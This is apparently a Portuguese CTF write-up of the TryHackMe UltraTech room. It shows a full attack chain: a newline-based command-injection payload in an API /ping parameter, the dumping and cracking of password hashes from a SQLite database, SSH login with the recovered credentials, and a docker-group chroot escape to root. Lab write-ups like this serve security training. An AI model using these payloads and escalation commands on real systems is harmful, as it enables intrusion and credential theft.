814 words
4 minutes
Writeup @ UltraTech
Room Information
The basics of Penetration Testing, Enumeration, Privilege Escalation and WebApp testing.
- TryHackMe - UltraTech;
- https://tryhackme.com/room/ultratech1.
Information Gathering
Port Scanning
# Nmap 7.98 scan initiated Fri Jan 9 12:57:46 2026 as: /usr/lib/nmap/nmap --privileged -sS -p- -oN nmap-out.txt 10.66.143.233Nmap scan report for 10.66.143.233Host is up (0.43s latency).Not shown: 65531 closed tcp ports (reset)PORT STATE SERVICE21/tcp open ftp22/tcp open ssh8081/tcp open blackice-icecap31331/tcp open unknown- Conseguimos algumas portas e servicos interessantes, sao eles:
- Porta
21rodando FTP; - Porta
22rodando SSH; - Porta
8081rodando esse servico “Blackice-Icecap”, essa porta normalmente esta associada a servicoes WEB; - Porta
31331com servico desconhecido, tambem eh uma porta alta, nao tendo nenhum servico associado por padrao.
- Porta
- Vamos enumerar!
Enumeration
FTP Enumeration
- Ao ver um servico FTP, a primeira coisa que pensei foi: “Sera que posso ter acesso Anonymous?”;
$ nc 10.66.150.186 21220 (vsFTPd 3.0.5)USER anonymous331 Please specify the password.PASS anonymous530 Login incorrect- Sem sucesso.
Web Enumeration
- Ao acessar o IP que recebemos na porta
8081, descubro que esta rodando uma API REST; - Olhando no DevTools procurando por algum trecho de codigo / chamada da pagina, nao encontro nada alem do path raiz (
/); - Mas, ao acessar a porta
31331, encontrei outra parte do servidor, agora sendo o front-end; - Dei uma vasculhada nas paginas e hrefs que tinham, mas nada de interessante, ate que acessei
robots.txte descobri:
Allow: *User-Agent: *Sitemap: /utech_sitemap.txt- E, indo ate o
.txt:
//index.html/what.html/partners.html- Achamos mais paginas, mas apenas uma me chamou a atencao de verdade, a
/partners.html; - Nela podemos encontrar um formulario para login, e tentando algumas SQLi (
' OR 1=1--) vi que nada funcionava, entao fui ver como a chamada era feita; - Indo ate a DevTools do Firefox na secao de Debugger, pude ver dois arquivos:
api.js;app.min.js.
- O
app.min.jsestava obfuscado, entao nem perdi tempo, mas oapi.jstinha coisas interessantes:
(function() { console.warn('Debugging ::');
function getAPIURL() { return `${window.location.hostname}:8081` }
function checkAPIStatus() { const req = new XMLHttpRequest(); try { const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}` req.open('GET', url, true); req.onload = function (e) { if (req.readyState === 4) { if (req.status === 200) { console.log('The api seems to be running') } else { console.error(req.statusText); } } }; req.onerror = function (e) { console.error(xhr.statusText); }; req.send(null); } catch (e) { console.error(e) console.log('API Error'); } } checkAPIStatus() const interval = setInterval(checkAPIStatus, 10000); const form = document.querySelector('form') form.action = `http://${getAPIURL()}/auth`;
})();Exploitation
Path “/ping”
- Observe essa chamada para
/ping?ip=, aparentemente o front-end faz uma chamada para o back-end, que por sua vez retorna o status da API; - Testando por
http://10.66.150.186:8081/ping?ip=10.66.150.186obtemos um resultado interessante:
PING 10.66.150.186 (10.66.150.186) 56(84) bytes of data. 64 bytes from 10.66.150.186: icmp_seq=1 ttl=64 time=0.057 ms --- 10.66.150.186 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.057/0.057/0.057/0.000 ms- Isso parece muito com o comando
ping -n1 [IP]de sistemas UNIX, vamos tentar executar outros comandos usando operadores de continuidade, como&&/;/||/ etc; - Admito que passei um tempo testando alguns desses comandos, mas o desenvolvedor pensou um pouco e removeu os principais que foi os que eu falei;
- Mas tinha um que ele nao tinha previsto:
%0A, o famoso ENTER; - Entao, testando
http://10.66.150.186:8081/ping?ip=10.66.150.186%0als:
PING 10.66.150.186 (10.66.150.186) 56(84) bytes of data. 64 bytes from 10.66.150.186: icmp_seq=1 ttl=64 time=0.052 ms --- 10.66.150.186 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.052/0.052/0.052/0.000 ms index.js node_modules package.json package-lock.json start.sh utech.db.sqlite- BINGO, temos uma especie de RCE;
- Se olhar bem, temos um banco de dados SQLite chamado
utech.db.sqlite; - Como eh um banco simples, vamos tentar extrair informacoes com
stringsemhttp://10.66.150.186:8081/ping?ip=10.66.150.186%0Astrings%20utech.db.sqlite:
PING 10.66.150.186 (10.66.150.186) 56(84) bytes of data. 64 bytes from 10.66.150.186: icmp_seq=1 ttl=64 time=0.051 ms --- 10.66.150.186 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms SQLite format 3 etableusersusers CREATE TABLE users ( login Varchar, password Varchar, type Int ) r00tf357a0c52799563c7c7b76c1e7543a32) admin0d0ea5111e3c1def594c1684e3b9be84- Conseguimos duas hashes e dois usuarios, e descriptografando na primeira plataforma online que encontrei, temos:
r00tf357a0c52799563c7c7b76c1e7543a32 == n100906
admin0d0ea5111e3c1def594c1684e3b9be84 == mrsheafy- Logando na pagina de login que tinhamos achado com as credenciais de admin, encontramos a mensagem:
# Restricted area
Hey r00t, can you please have a look at the server's configuration?The intern did it and I don't really trust him.Thanks!
_lp1_- Ah, se lembram do servico SSH rodando? Vamos tentar acessar com r00t:
$ ssh r00t@10.66.150.186r00t@ip-10-66-150-186:~$ whoamir00tr00t@ip-10-66-150-186:~$ iduid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)- Conseguimos acesso!
Privilege Escalation
- Notou alguma coisa diferente no comando
id? Exatamente, temos permissao ao grupodocker; - Procurando no GTFObins por docker, encontramos o comando:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh- O que ele faz eh montar o filesystem raiz do host (
/) dentro de/mnte troca a raiz do processo para/mnt(que eh o/do host) e abre um shell dentro do filesystem do host, nao so do container; - Vamos procurar por alguma imagem que ja exista:
r00t@ip-10-66-150-186:~$ docker image lsREPOSITORY TAG IMAGE ID CREATED SIZEbash latest 495d6437fc1e 6 years ago 15.8M- Assim:
r00t@ip-10-66-150-186:~$ docker run -v /:/mnt --rm -it bash chroot /mnt sh# whoamiroot#- E assim finalizamos o CTF!
Writeup @ UltraTech
https://dantsec.github.io/posts/hacking/writeups/writeup-ultratech/